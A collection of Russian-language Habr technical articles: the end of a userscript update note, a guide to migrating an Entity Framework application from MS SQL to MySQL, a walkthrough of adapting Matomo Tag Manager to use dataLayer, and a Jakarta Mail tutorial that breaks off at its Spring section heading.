**UPD2** 31.05.2014: Сделан [HabrAjax (docs, code, repo)](http://spmbt.github.io/haPages/doc/habrAjax/) (новое место хостинга на Гитхабе), подправлен [HabrPercentageRing](https://greasyfork.org/en/scripts/1966-habr-percentage-ring), добавлены подмены иконок с длинными тенями в скрипте [ufoCorrect](http://habrahabr.ru/post/213615/) на 2 новых сайтах.
### Литература
* [Новая навигация и другие изменения на χ·е](http://habrahabr.ru/company/tm/blog/222855/) — исходный пост про нововведение.
* [Что не так с редизайном χ·χ·](http://habrahabr.ru/post/222965/) — разбор юзабилити новых решений. | https://habr.com/ru/post/223555/ | null | ru | null |
# Как сменить базу данных, если у вас Entity Framework
Entity Framework (EF) — это удобный фреймворк для работы .NET-приложения с базой данных. По сути, это такая удобная абстракция над БД, которая сама пишет за разработчика оптимальные (ну, почти) SQL-запросы прямо из высокоуровневых LINQ-конструкций. Одной из киллер-фич фреймворка является возможность относительно легко сменить СУБД приложения на какую-нибудь другую. Предположим, разочаровались вы в MySQL или, наоборот, хотите сменить MSSQL на что-то менее дорогое — пожалуйста, EF как абстракция над СУБД в теории может это предоставить, так сказать, by design.
Проблема в том, что в мире бизнес-разработки СУБД меняют лишь по очень большой нужде, а потому редко кто уже сталкивался с данной фичей EF на практике, но вот мне такая возможность выпала. Поэтому я решил написать небольшой гайд, как это выглядит в реальности, чтобы у вас была возможность оценить применимость данной фичи, если вдруг это понадобится.
В этой статье я описываю достаточно быстрый способ перейти на другую базу данных, если вы используете EF, но есть ряд оговорок.
* Я пишу про «небесшовный» переход. Бесшовный переход предполагает, что приложение умеет ходить одновременно в две БД, а плюс EF как раз в том, чтобы одну реализацию абстракции подменить на другую. То есть придётся или писать много кода для поддержки двух реализаций одновременно, или пересаживаться на новую БД «быстро, решительно». Рассказываю, как это быстро и решительно сделать наименее болезненно и с возможностью отката в моменте.
* Приложение должно использовать «чистый» EF, то есть никаких низкоуровневых заигрываний с SQL, только LINQ-конструкции. Если вы используете какие-то внешние отчёты, например, через Redash, то это придётся переписывать руками, и статья этот вопрос не освещает.
* Я описываю именно переезд с базы Microsoft SQL на MySQL и именно в таком направлении. Предположу, что с другими СУБД эта статья тоже будет более-менее применима, но индивидуальные нюансы каждой БД и другой тулинг могут серьёзно поменять детали процесса.
### Общий план действий
План перехода состоит из следующих этапов:
1. Учим приложение работать с новой базой, подключаем новый коннектор и разбираемся с тонкостями настройки.
2. Переводим какой-нибудь самый простой домен приложения на рельсы новой базы данных, проверяем, что данные правильно записываются, а затем правильно читаются.
3. Готовим скрипты переноса данных из одной БД в другую.
4. Релизим, получаем фидбэк, фиксим проблемы.
5. Пункты 2, 3 и 4 повторяем для всех частей приложения.
### Учим приложение работать с новой базой
Тут всё очень просто. Я подключил NuGet-пакет с MySQL-коннектором, поменял инициализацию DbContext'а в Startup.cs, чтобы он использовал новый коннектор.
Было
```
services.AddDbContextPool(
options => options.UseSqlServer(dbConnection));
```
Стало
```
services.AddDbContextPool(
options => options.UseMySql(mysqlConnection));
```
Ещё немного поменял настройки маппинга сущности на таблицу в БД, убрав из маппинга schema, т.к. В MySQL должна быть одна база (schema) на всё.
Всё чуть сложнее, если вы храните в базе GUID. У MySQL нет специального типа данных под GUID, но она может хранить его как `binary(16)`, или вообще строкой. Управляется это настройкой подключения, а конкретно опцией [GUID Format](https://mysqlconnector.net/connection-options/#GuidFormat). У меня после перехода на MySQL изменилась сортировка по GUID, потому что, скорее всего, я не совсем правильно выбрал тип хранения, так что если вам по каким-то причинам важно сохранить сортировку по GUID, то отнеситесь к этой настройке внимательно.
И, внезапно, со стороны кода приложения больше ничего не нужно.
### Миграция данных
Очень вероятно, работа с данными займёт у вас больше всего времени в рамках перехода на другую СУБД. Из-за разного тулинга некоторые вещи придётся соединять достаточно нетривиально.
Так как сразу предполагается, что данные придётся «хачить», то лучше полагайтесь на консольные утилиты — с ними гораздо проще влиять на ввод-вывод и делать на основе этого скрипты. Если таблиц в базе много, то написать скрипты просто критически важно. Для работы с Microsoft SQL я использовал утилиту bcp из стандартной обвязки сервера, но также её можно поставить и отдельно. А для MySQL я нашёл также официальную утилиту mysqlsh.
Пайплайн переливки данных выглядит следующим образом: данные дампятся на рабочую машину через bcp в некий csv-like формат, а затем этот файл заливается через mysqlsh на целевую базу MySQL. Для mysqlsh при этом пишется довольно объёмная команда для импорта, по сути являющаяся скриптом, потому что может содержать различные условия и даже некоторую логику.
#### Скриптинг для mysqlsh
Я решил посвятить этому аспекту отдельный абзац, потому что именно благодаря широким возможностям по скриптингу в mysqlsh данные удалось перенести достаточно быстро и без особых проблем.
Итак, mysqlsh имеет внутри себя целых три оболочки: для классического SQL, а также JS и Python. SQL нам трогать не надо, я через него разве что таблички чистил после неудачной переливки, а вот JS-интерпретатор в вопросах импорта данных оказался очень полезным инструментом. В нём содержится несколько встроенных специальных команд, конкретно под наши нужды применяется `utils.importTable`, синтаксис которого вот такой:
```
util.importTable('path/to/file', {
schema: 'schemaname',
table: 'tablename',
fieldsTerminatedBy: '|-|',
linesTerminatedBy: '\n-/-\n',
columns: [1,2,3],
decodeColumns: {
"Id": "UUID_TO_BIN(@1)",
"ColumnName": "@2",
"AnotherColumnName": "@3",
}
});
```
С названием схемы и таблицы всё должно быть очевидно: `fieldsTerminatedBy` — это делимитер между столбцами, `linesTerminatedBy` — соответственно, делимитер между строками. Каждое значение в `columns` — это название колонки в целевой таблице, в которую будет импортирован столбец из файла согласно порядку, указанному в `columns`.
Но почему там цифры? А цифра — это что-то типа названия переменной, чтобы можно было уже в секции `decodeColumns` как-то переопределить значение. В приведённом примере первая колонка заменяется на переменную `1` (число может быть произвольным, но это обязательно должно быть число), а в секции `decodeColumns` уже указывается, что к значению из первой колонки применяется функция `UUID_TO_BIN`, и полученный результат вставляется в колонку `Id`.
#### Делимитеры
Итак, bcp дампит данные во что-то типа csv. Но csv-формат предполагает, что значения разделены запятой, а каждое значение обрамлено в кавычки. То есть кавычки в рамках чистого csv — это небезопасный символ, который надо экранировать, если он встретится в данных. Но bcp экранировать не умеет (или я не нашёл как), поэтому от кавычек следует отказаться, а значения разделять некой последовательностью символов, которая в ваших данных встретиться не может.
У меня данные в базе частично представляли из себя текст статей прямо вместе с HTML-разметкой, потому специальных символов в данных, прямо скажем, хватало. В итоге я остановился на разделителе `|-|` — выглядит понятно и нигде в моих данных не встречается. Для разделения строк использовал конструкцию `\n-/-\n`, где \n — это перевод каретки. Скрипт для дампа выглядит как-то так:
```
bcp schemaname.tablename out /path/to/file -S server -U user -P password -d dbname -c -t '|-|' -r '\n-/-\n'
```
#### NULL
Bcp работает с NULL немного не так, как это делает SQL. NULL в файле выгрузки превращается в пустое значение, а пустая строка превращается в специальный символ Nul (он же 0x0). А вот mysqlsh работает как SQL, то есть пустое значение интерпретирует как пустую строку, а символ Nul — в общем-то, как символ Nul. Потому для правильной заливки дампа пришлось написать оверрайд для каждой колонки со строковым типом данных:
```
decodeColumns: {
"ColumnName": "IF(@1='@','',IF(@1='',NULL,@1))"
}
```
К сожалению, mysqlsh никак не хотел принимать конструкцию вида `IF(@1=0x0,'',...)`, поэтому пришлось воспользоваться старым добрым sed и заменить в дампе символ 0x0 на нормально воспринимаемую mysqlsh собачку (@).
```
sed -i 's/\x0/@/g' /path/to/file
```
Потом оказалось, что похожая проблема есть у всех nullable типов данных, потому что вместо ожидаемого базой NULL приходит пустая строка и ломает импорт. Для этого пришлось написать ещё пару оверрайдов, но с ними код скрипта стал совершенно нечитаемым:
```
decodeColumns: {
"StringColumn": "IF(@1='@','',IF(@1='',NULL,@1))",
"NullableUUID": "UUID_TO_BIN(IF(@2 = '',NULL,@2))",
"AnotherNullable": "IF(@3='',NULL,@3)",
}
```
Тут я решил, что не зря же эта оболочка, по сути, интерпретатор JS, а значит, можно всё красиво обернуть в функции:
```
function string(param){return `IF(${param}='@','',IF(${param}='',NULL,${param}))`}
function uuid_nullable(param){return `UUID_TO_BIN(IF(${param} = '',NULL,${param}))`}
function nullable(param){return `IF(${param}='',NULL,${param})`}
...
decodeColumns: {
"StringColumn": string("@1"),
"NullableUUID": uuid_nullable("@2"),
"AnotherNullable": nullable("@3"),
}
```
Так ошибиться при составлении скрипта стало намного сложнее.
#### Тип rowversion
Кроме GUID мне попался ещё один тип данных, которого нет в MySQL — это `rowversion`. EF при составлении миграции для создания таблицы в MySQL предложил использовать для этого тип `timestamp`. Вот только проблема в том, что rowversion со временем никак не связан, а потому напрямую в `timestamp` никак не транслируется.
К счастью, особой функциональной нагрузки этот тип не несёт, он просто не позволяет перезаписать данные, если за время твоих изменений они были модифицированы. Так что `rowversion` можно сконвертировать в произвольный `timestamp`, не переживая, что он может быть сильно в прошлом или сильно в будущем, потому что коду не важно, «когда» этот `timestamp`, главное, чтобы он оставался тем же самым во время чтения и во время обновления. Потому я сделал ещё одну функцию для оверрайда:
```
function row_version(param){return `FROM_UNIXTIME(IF(${param} = '',NULL,${param}))`}
```
#### Итого
Чтобы перелить данные для одной таблицы, нужно:
1. Сделать скрипт для создания дампа конкретной таблицы через bcp.
2. Прогнать дамп через sed, чтобы заменить символ 0x0.
3. Сделать скрипт импорта для mysqlsh:
1. взять шаблон, вставить в него имя базы, таблицы и файла дампа, а также проставить делимитеры;
2. вставить в массив columns значения по количеству столбцов в таблице;
3. для каждой колонки сделать оверрайд, выбрав нужную функцию. Если оверрайд не нужен, то написать `"Column": "@{номер столбца}";`
4. не перепутать нумерацию колонок и оверрайдов.
4. Протестировать.
Самое неудобное — это, конечно, назначение циферок колонкам. Но переменные для оверрайда не могут содержать буквы, а так их можно было бы назвать как-то более соответствующе их назначению. Поэтому нужно стараться сделать весь остальной скрипт хорошо читаемым, ну и тщательно проверять результат.
### Релиз
Теперь, когда код написан, а скрипты переливки проверены, нужно выкатить изменения на прод. Вот так выглядит алгоритм упомянутого выше «небесшовного» релиза:
1. Тёмной ночью выкладывается новая версия приложения, которая работает с MySQL. Таблицы создаются мигратором прямо в рамках этого деплоя и на момент выкладки абсолютно пусты. С момента окончания деплоя можно считать, что данные находятся в некотором зафиксированном состоянии, потому что доступа к старой базе у приложения больше нет, а в новой пока нет данных.
2. Данные из старой БД сливаются в некоторое промежуточное хранилище, где подготавливаются для заливки. Тут я просто использовал свою рабочую машину — для баз размером в несколько гигабайт это более чем достаточно..
3. Данные заливаются в новую базу. Они уже подготовлены и заливка протестирована — всё должно пройти без ошибок.
4. Если всё же возникает ошибка, которую не удаётся починить на ходу, то система просто откатывается на предыдущее состояние, где она работала со старой базой. Можно спокойно провести работу над ошибками и попробовать снова следующей ночью.
Обновлять приложение, особенно если оно большое, лучше небольшими частями. Я выкатывал за раз по одному DbContext'у, причём начинал с тех, где меньше всего цена ошибки. О некоторых ошибках может стать известно через несколько дней, потому лучше не спешить.
### Выводы
Как я уже говорил в начале статьи, не ко всем приложениям, использующим EF, применим такой алгоритм перехода на другую БД. База должна быть небольшой, нагрузка — такой, чтобы можно было позволить себе 10-15 минутный даунтайм, причём несколько раз в рамках всего перехода. Но зато при соблюдении этих условий переезд на другую БД становится вполне тривиальной задачей.
Самое сложное в переходе на другую БД — это перенос данных, а самое сложное в переносе данных — проверка скриптов. Была даже идея сделать скрипт, генерирующий скрипты импорта, но отлаживал бы я его явно дольше, чем потратил времени на весь переезд. Потому выбрал путь хорошо читаемых скриптов и их внимательной проверки.
Удалось ли подтвердить наличие у EF киллер-фичи по смене БД? Я считаю, что удалось. Переезд выполнялся ровно одним разработчиком, и за две недели было перенесено 90% приложения (потом внезапно наступил отпуск и итоговый результат по времени уже не выглядит так красиво). При этом в приложении изменилось какое-то смехотворное число строк кода, и ни строки не изменилось в бизнес-логике. Думаю, что разработчики EF могут по праву гордиться своим продуктом. А если бы существовал cross-DB тулинг для переливки данных, можно было бы менять БД как перчатки. :)
### Полезные ссылки
[Настройка MySQL-коннектора](https://mysqlconnector.net/connection-options)
[Документация по bcp](https://docs.microsoft.com/ru-ru/sql/tools/bcp-utility)
[Документация по mysqlsh](https://dev.mysql.com/doc/mysql-shell/8.0/en/mysql-shell-utilities-parallel-table.html) | https://habr.com/ru/post/677166/ | null | ru | null |
# Замена Google Tag Manager на on-premise-решение без лишних сложностей
Приветствую, дорогие хабровчане. Меня зовут Фёдор Куликов, я руководитель digital-аналитики в компании Tele2.
Хочу поделиться с вами тем, какую альтернативу мы нашли для Google Tag Manager.
Зачем используем GTM и причины необходимости замены
---------------------------------------------------
GTM — очень мощный инструмент управления тегами, который позволяет гибко управлять данными, собираемыми с сайта (и не только), устанавливать рекламные пиксели и даже проводить AB-тесты. Подробнее о том, как мы проводим AB-тесты, мы писали [здесь.](https://habr.com/ru/company/tele2/blog/708782/)
Поэтому весной 2022 года мы смотрели на отказ от GTM как на серьезный риск в снижении нашей производительности и гибкости.
Кроме того, вся текущая разметка производилась через dataLayer, поэтому отказ от GTM мог быть очень болезненным с точки зрения расходов на разработку.
Существующие альтернативы
-------------------------
Коллеги по цеху, вынужденные отказаться от решений западных компаний, поступали по-разному — кто-то перешёл на альтернативные SaaS-решения, в том числе и на отечественные аналоги, кто-то полностью отказался от использования систем контейнеров, а кто-то обратился к open-source-решениям.
Для себя мы выбрали третий путь.
Matomo Tag Manager
------------------
MTM является частью аналитических инструментов от Matomo (бывший PIWIK), сами себя они позиционируют как альтернативу Google Analytics.
Matomo предлагает два варианта решений:
* Cloud — платное облачное решение.
* On-premise — open-source-решение, которое можно скачать и самостоятельно развернуть на своих мощностях.
Именно решение on-premise мы выбрали по очевидным причинам: мы можем быть уверены, что завтра этот сервис не будет заблокирован.
В этой статье не планировал подробно останавливаться на возможностях MTM. Отмечу только, что этот инструмент лишь немного уступает по функциональным возможностям своему старшему брату от компании Google и, возможно, обладает менее приятным интерфейсом.
Установка на виртуальную машину
-------------------------------
Установка MTM производится в составе пакета инструментов Matomo Analytics.
Для этого необходимо скачать архив с последней версией системы с официального [сайта](https://matomo.org/download/) и, следуя [инструкции](https://matomo.org/faq/on-premise/installing-matomo/), установить Matomo Analytics на вашу машину.
Доработка кода Matomo Tag Manager
---------------------------------
Как я отмечал выше, сейчас вся наша разметка на сайте построена через dataLayer. При этом MTM из коробки работает с похожим по своей сути объектом, но который называется \_mtm.
Чтобы исправить это, необходимо совсем чуть-чуть — отредактировать код в двух местах.
1. Ищем файл /matomo/plugins/TagManager/javascripts/tagmanager.js
2. Указываем, что необходимо объявлять объект dataLayer вместо \_mtm в самом начале файла tagmanager.js:
вместо
```
if (typeof window.MatomoTagManager !== 'object') {
if (typeof window._mtm !== 'object') {
window._mtm = [];
}
...
```
указываем
```
if (typeof window.MatomoTagManager !== 'object') {
if (typeof window.dataLayer !== 'object') {
window.dataLayer = [];
}
...
```
3. В конце файла tagmanager.js:
вместо
```
utils.setMethodWrapIfNeeded(windowAlias._mtm, 'push', processMtmPush);
var i;
for (i = 0; i < windowAlias._mtm.length; i++) {
processMtmPush(windowAlias._mtm[i]);
}
```
указываем
```
utils.setMethodWrapIfNeeded(windowAlias.dataLayer, 'push', processMtmPush);
var i;
for (i = 0; i < windowAlias.dataLayer.length; i++) {
processMtmPush(windowAlias.dataLayer[i]);
}
```
также комментируем следующий кусок кода
```
/*if ('undefined' !== typeof windowAlias.dataLayer && utils.isArray(windowAlias.dataLayer)) {
// compatibility for GTM
for ( i = 0; i < windowAlias.dataLayer.length; i++) {
if (utils.isObject(windowAlias.dataLayer[i])) {
dataLayer.push(windowAlias.dataLayer[i]);
}
}
}*/
```
4. Далее необходимо опубликовать новую версию кода на сервере
Выводы
------
Приведенные выше несложные манипуляции помогли получить надежную альтернативу GTM с привычным функционалом и интерфейсом, а также соответствующую духу времени. | https://habr.com/ru/post/710676/ | null | ru | null |
# Электронная почта и работа с ней в Java-приложениях
`Disclaimer`
Статья написана для новичков и тех, кому хочется шаг за шагом понять как устроена работа с электронной почтой из Java-приложений. Желающие быстро понять как отправлять электронные письма из Spring-приложений могут сразу переходить к 3 части.
Эту статью я решил написать, потому что не нашел русскоязычных источников про работу c электронной почтой из Java, описывающих имеющиеся библиотеки достаточно полно. На хабре существует [статья](https://habr.com/ru/post/153415/), посвященная очень узкой задаче по чтению писем (и выводу их содержимого в консоль) и [статья](https://habr.com/ru/post/439176/) с how-to по отправлению
письма с вложениями при помощи Spring Email. Также существует несколько статей ([например](http://java-online.ru/javax-mail.xhtml)) на тематических ресурсах, которые приводят порядок действий при работе
с электронной почтой. В этих источниках мне не хватало объяснения основ, на которых стоит
электронная почта и взгляда с высоты на существующие библиотеки для работы с почтой в Java.
Для таких же лапкообразных, как я, написана эта статья. Она дает общие представления о работе электронной почты, разъясняет основные сущности библиотеки Jakarta Mail и дает советы о том, как работать с электронной почтой в Spring-приложениях.
Содержание:
1. Электронная почта
2. Работа с электронной почтой с помощью Jakarta Mail
3. Работа с электронной почтой в среде Spring
---
1. Электронная почта
--------------------
Сегодня электронная почта кажется устаревшей технологией, которая нужна только для того чтобы зарегистрироваться на сайтах, куда забыли прикрутить авторизацию с помощью Google, Vk или Facebook -аккаунта. Возможно, так и есть, но наверняка вы до сих пор получаете электронные письма о падении сборки от вашего CI-инструмента или уведомления о пул-реквестах от вашего репозитория на свой почтовый ящик.
Электронная почта была создана на заре интернета и позаимствовала многие свои идеи из реального мира. Подобно тому как в оффлайне для отправки и получения писем нам требуются почтовые отделения, в электронной почте нам нужны почтовые сервера, т.е. электронная почта основана на модели клиент-сервер. В крупных компаниях сисадмины разворачивают свои собственные почтовые сервера, в маленьких компаниях используют почтовые сервера, предоставляемые специальными провайдерами, например: Яндекс.Почта, Gmail и др.
Популярные почтовые серверы: Postfix, Sendmail, [Apache James](http://james.apache.org/), Zimbra.
Для работы с письмами на стороне клиента используются десктопные приложения вроде Outlook или The Bat!, либо веб-приложения вроде Gmail или Яндекс.Почта.
Предположим, что человек А решил отправить письмо человеку Б. Он пишет его в своем почтовом клиенте и нажимает кнопку "отправить". Письмо отправляется по протоколу SMTP на почтовый сервер клиента А. Этот почтовый сервер пересылает письмо почтовому серверу клиенту Б также при помощи протокола SMTP. Когда клиент Б решит проверить почту, он сделает запрос к своему почтовому серверу с помощью протокола POP3 или IMAP. В случае использования протокола POP3 письма будут выкачены на устройство клиента Б и удалены с почтового сервера. При использовании протокола IMAP клиенту Б будут переданы копии писем,
а оригиналы останутся храниться на почтовом сервере.

### Электронное письмо
Электронное письмо состоит из следующих частей:
* Заголовки — тема письма, адрес отправителя, адреса получателей и служебная информация.
* Тело письма — текст, html, картинки, вложения.
Раньше тело письма могло состоять только из символов ASCII, но с развитием почтовых систем, появилась возможность добавлять в тело html-разметку, изображения, а также прикладывать к письму различные файлы. Для того чтобы правильно выделять различные части из письма, были разработаны MIME-типы — многоцелевые расширения интернет-почты.
Для отправки писем используется протокол SMTP. А для их приема используется либо протокол POP3, либо IMAP.
Существуют и другие почтовые протоколы, но три перечисленных выше — наиболее популярны.
### Почтовые протоколы
Все почтовые протоколы относятся к самому высокому уровню модели OSI и основаны на TCP.
У каждого из нижеперечисленных протоколов существует защищенная версия, основанная на SSL.
#### SMTP
Simple Mail Transfer Protocol — простой протокол передачи писем. Используется для рассылки писем.
SMTP использует порт 25 или 587. А его защищенная версия SMTPS слушает порт 465.
#### POP3
Post Office Protocol v3 — почтовый протокол. Используется для чтения писем. POP3 при выкачивании письма на клиентский компьютер удаляет письмо с почтового сервера. Недостатком этого протокола является то, что при просмотре письма на одном клиентском компьютере это письмо уже нельзя будет посмотреть с другого устройства.
POP3 слушает порт 110. А его защищенная версия POP3S слушает порт 995.
#### IMAP
Internet Message Access Protocol — протокол доступа к электронной почте. Альтернатива протоколу POP3. IMAP подгружает на клиент только мета-информацию письма, а остальные
данные предоставляет по требованию.
IMAP слушает порт 143. А его защищенная версия IMAPS слушает порт 993.
### MIME-типы
Multipurpose Internet Mail Extensions — многоцелевые расширения интернет-почты. MIME используется, для того чтобы обозначить тип передаваемого контента с помощью протоколов, которые первоначально были предназначены только для передачи текстовой информации, например SMTP и HTTP.
MIME первоначально предназначался для электронной почты, но впоследствии начал использоваться не только в ней, но и в HTTP.
Тип определяется двумя словами, записанными через прямой слеш. Первое слово — это общий тип, а второе — уточнение.
```
image/jpeg
```
MIME позволяет устанавливать иерархию вложенности одних блоков контента в другие.
При этом блоки контента могут быть смешанного содержимого. Для таких блоков используется общий тип `multipart`, нам еще встретится этот термин.
---
2. Работа с электронной почтой с помощью Jakarta Mail
-----------------------------------------------------
Jakarta Mail — это библиотека / фреймворк, использующийся для создания, отправки и чтения электронной почты из Java-кода. Библиотека входит в состав Jakarta EE. Ранее библиотека называлась JavaMail, но с 2017 года она переехала под крыло Jakarta.
Как принято в Java EE, сама библиотека предоставляет только базовые сущности, не зависящие от конкретных реализаций. Эти основные классы находятся в пакете `javax.mail`. Помимо этого к библиотеке прикладывается Reference Implementation для основных протоколов — SMTP, POP3, IMAP. Все классы, относящиеся к этим протоколам, находятся в пакете `com.sun.mail`. Для использования других протоколов, не входящих в Reference Implementation, необходимо подключать сторонние библиотеки.
Для обработки различных форматов данных, которые могут быть вложены в электронное письмо, Jakarta Mail использует библиотеку JavaBeans Activation Framework — при использовании автоматического сборщика эта зависимость будет подтянута в ваш проект транзитивно.
На текущий момент актуальной версией Jakarta Mail является 1.6.5, но близится выпуск версии 2.0.0, главным "нововведением" которого станет переименование основного пакета с
`javax.mail` на `jakarta.mail`.
В Jakarta Mail не входит почтовый сервер. Для отправки писем по SMTP или получения по IMAP или POP3 требуется развернуть собственный почтовый сервер или использовать существующий.
### Настройка почтовых серверов
Как следует из первой части, для отправки и получения электронных писем необходимо поддерживать соединение с почтовыми серверами. В Jakarta Mail почтовые сервера представляют объекты классов `Transport` и `Store` для отправления и чтения писем соответственно.
Настройка соединения с почтовыми серверами происходит с помощью пар ключ-значение, передаваемых в виде объекта класса `Properties`. Например для настройки SMTP-соединения с почтовым сервером Яндекс.Почты достаточно следующих параметров:
```
mail.transport.protocol = smtps
mail.smtp.host = smtp.yandex.ru
mail.smtp.port = 465
mail.smtp.user = artem.boiar
mail.smtp.ssl.enable = true
mail.smtp.auth = true
mail.debug = true
```
Полный список различных настроек и их описание можно найти в [документации на пакеты](https://javaee.github.io/javamail/docs/api/overview-summary.html) основной библиотеки и ее реализаций для различных протоколов.
#### Сессия
На основе объекта `Properties` создается сессия:
```
final Session session = Session.getInstance(mailProperties, authenticator);
```
Обычно сессия создается одна для всего приложения. Она представляет собой сеанс работы с почтовыми серверами. Почти каждый объект библиотеки должен принадлежать какой-либо сессии.
#### Аутентификация
Вторым аргументом при создании сессии необходимо передать объект абстрактного класса `Authenticator`, у которого требуется переопределить метод `getPasswordAuthentication()` (по умолчанию возвращает null, почему он не был сделан абстрактным — неизвестно).
Этот метод используется сессией для связи с почтовым сервером — метод будет вызываться при каждом обращении к серверу. При его вызове возвращается объект класса `PasswordAuthentication`, который представляет собой обычное DTO для хранения логина и пароля.
```
final Authenticator authenticator = new Authenticator() {
@Override
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(
this.getDefaultUserName(),
PropUtils.getPassword()
);
}
}
```
Разработчиками библиотеки подразумевается, что внутри этого метода можно запросить пароль у пользователя или достать его из хранилища. При получении пароля можно пользоваться значениями полей класса `Authenticator`: IP почтового сервера, тип протокола, используемый
порт и даже имя дефолтного пользователя.
Почти все сущности, представляющие какие-либо объекты предметной области, представлены абстрактными классами, реализация которых зависит от конкретного протокола:
* `Message` — электронное письмо;
* `BodyPart` — фрагмент электронного письма: основная часть или вложение;
* `Address` — адрес отправителя или получателя;
* `Folder` — папка, в которой хранятся электронные письма;
* `SearchTerm` — условие поиска писем в папке;
* `MailEvent` — событие, произошедшее с письмом.
Обработка событий основывается на паттерне Наблюдатель.
*Примечание* — в данной статье обработка событий не рассмотрена.
### Письма

Электронные письма представляются с помощью абстрактного класса `Message`, у которого есть один наследник — `MimeMessage` (реализации различных протоколов могут дополнительно расширять этот класс).

Электронное письмо состоит из метаинформации: отправитель, получатели, тема, дата отправки и др.,- и основной части: текст и вложения. Основная часть письма представлена в виде фрагментов `BodyPart`, которые хранятся в контейнере `Multipart`. Подробнее о фрагментах — ниже.
Каждое письмо привязывается к конкретной сессии. При создании нового письма в конструктор передается объект сессии:
```
final Message message = new MimeMessage(session);
```
Для установки значений полей метаинформации используются обычные сеттеры. При установке получателей необходимо указывать еще тип адресантов, для этого у класса `Message` есть внутренний класс `RecipientType`, который представляет собой различные виды адресантов:
* `TO` — прямой получатель;
* `CC` — получатель копии;
* `BCC` — получатель скрытой копии.
Поля с такими названиями можно найти в интерфейсе любого почтового клиента при написании письма.

```
message.setFrom("artem.boiar@yandex.ru");
message.setRecipients(Message.RecipientType.TO, "joshua.bloch@google.com");
message.setRecipients(Message.RecipientType.CC, "tagir.valeev@jetbrains.com");
message.setRecipients(Message.RecipientType.BCC, "sergey.egorov@pivotal.com");
message.setSubject("Java 20 new hot features");
```
#### Флаги
При чтении писем можно изменять их состояние, устанавливая им различные флаги. Стандартные флаги представлены в классе `Flags`:
* `ANSWERED` — отвечено
* `DELETED` — удалено
* `DRAFT` — черновик
* `FLAGGED` — выделено
* `RECENT` — недавнее
* `SEEN` — просмотрено
* `USER` — пользовательский флаг
Флаги устанавливаются в сообщении в нужное положение с помощью метода `setFlag(Flag, boolean set)`.
### Адреса
Адреса используются для идентификации получателя письма.
Класс `Address` является абстрактным и по сути имеет всего одну реализацию — `InternetAddress` (есть еще `NewsAddress` для мамонтов, пользующихся Usenet'ом).
`InternetAddress` представляет привычные нам адреса электронной почты, записанные в формате:
```
trisha.gee@jetbrains.com
```
Помимо адреса объекты могут хранить в себе имя адресанта в любой кодировке:
```
internetAddress.setPersonal("Сергей Куксенко");
```
Для того чтобы создать объект `InternetAddress` можно воспользоваться одним из конструкторов, либо распарсить строку с несколькими адресами в массив:
```
InternetAddress[] recipients = InternetAddress.parse(
"kuksenko@oracle.com, baruh@jfrog.com, golodnyj@yandex.ru");
```
*Примечание* — для валидации адресов электронной почты, приходящих от пользователя в виде строк, можно пользоваться аннотацией `@Email`, объявленной в библиотеке **Bean Validation**.
### Фрагменты письма
Фрагмент письма — это неделимая часть письма, несущая полезную нагрузку адресанту. Фрагмент письма может либо относиться к основной части письма, либо быть вложением.
В Jakarta Mail фрагмент письма представлен абстрактным классом `BodyPart` и его реализацией `MimeBodyPart`.
Тип фрагмента определяется параметром `disposition`:
* `INLINE` для основной части письма и
* `ATTACHMENT` для вложения.
Тип фрагмента можно не объявлять явно, чаще всего он выводится автоматически, в зависимости от того, что записано во фрагмент.
Наиболее часто используемые MIME-типы для частей:
* `text/plain` для основной части письма и
* `application/octet-stream` для вложений.
Для создания фрагмента письма можно пользоваться обычным конструктором:
```
final MimeBodyPart mailBody = new MimeBodyPart();
final MimeBodyPart attachment = new MimeBodyPart();
```
На UML-диаграмме наследования, приведенной выше, объявлен еще интерфейс `Part`, который реализуется почти всеми классами, относящимися к письму. В нем объявлены методы доступа к метаинформации письма. Это довольно странное решение — как-будто у различных фрагментов одного письма могут быть различные адресанты или темы письма.
#### Запись контента
После создания фрагмента необходимо записать в него полезную нагрузку. Для основной части используется метод `setText()`, а для вложения — `attachFile()` или `setContent()`.
```
mailBody.setText("Java 20 new features.\nLook at the attachments.");
attachment.attachFile(file);
```
MIME-тип вложения в большинстве случаев определяется автоматически по расширению файла.
#### Чтение контента
Для чтения контента из пришедшего письма можно воспользоваться методом
`void saveFile(File)` для сохранения контента на диск или
`void writeTo(OutputStream)` для перенаправления контента в указанный поток.
#### Мультифрагменты
Фрагменты `BodyPart` для помещения в письмо объединяются в структуру `Multipart`. `MimeBodyPart` соответственно объединяются в структуру `MimeMultipart`.
```
final Multipart multipart = new MimeMultipart();
for (BodyPart bodyPart: bodyParts) {
//cannot use streams because of checked exception
multipart.addBodyPart(bodyPart);
}
```
После этого мультипарт вкладывается в письмо:
```
message.setContent(multipart);
```
### Папка с письмами
Для хранения писем на почтовом сервере используются папки. Обычно папка по умолчанию называется `INBOX` (в POP3 это единственная папка).
Папки организуют древовидную структуру. В некоторых реализациях папки могут хранить в себе что-то одно: папки или письма, — в других (например, IMAP) сразу и то, и другое.
Папка может находиться в открытом и закрытом состоянии. При извлечении папки она находится в закрытом состоянии. Чтобы прочитать письма, находящиеся в ней, необходимо сначала открыть ее `open(int mode)` в одной из двух режимов: только для чтения `READ_ONLY` или на чтение и запись — `READ_WRITE`.
```
Folder folder = store.getDefaultFolder();
folder.open(Folder.READ_WRITE);
```
Операции с содержимым папки могут выполняться только в открытом состоянии, а операции над самой папкой только в закрытом состоянии.
Для извлечения писем из папки можно использовать метод `getMessages()`, возвращающий все письма из папки:
```
Message[] messages = folder.getMessages();
```
Письма располагаются в папке аналогично списку и имеют номера, начиная с `1`. Для получения писем по их порядковым номерам используются разновидности приведенного выше метода.
При использовании протокола IMAP из папки достаются легковесные объекты
вместо полноценных сообщений. Необходимые части сообщения подтягиваются с почтового сервера по требованию, либо можно сразу загрузить полную версию письма, вызвав метод `fetch()` класса Folder, передав в него желаемые письма.
Папки позволяют удалять письма, но сделать это можно только с теми письмами, которые помечены флагом `DELETED`.
### Поиск писем
Jakarta Mail позволяет проводить поиск по письмам в папках. Для составления поискового запроса предназначен абстрактный класс `SearchTerm`, имеющий множество реализаций для поиска по различным критериям: теме письма, дате отправления, отправителю, флагам и пр. Различные критерии поиска могут объединяться в один поисковый запрос.
После составление поискового запроса он запускается по указанной папке:
```
final FromTerm fromTerm = new FromTerm(new InternetAddress("artem.boiar@yandex.ru"));
final SubjectTerm subjectTerm = new SubjectTerm("Java");
final AndTerm termsSummary = new AndTerm(fromTerm, subjectTerm);
final Message[] foundMessages = folder.search(termsSummary);
```
---
3. Работа с электронной почтой в среде Spring
---------------------------------------------
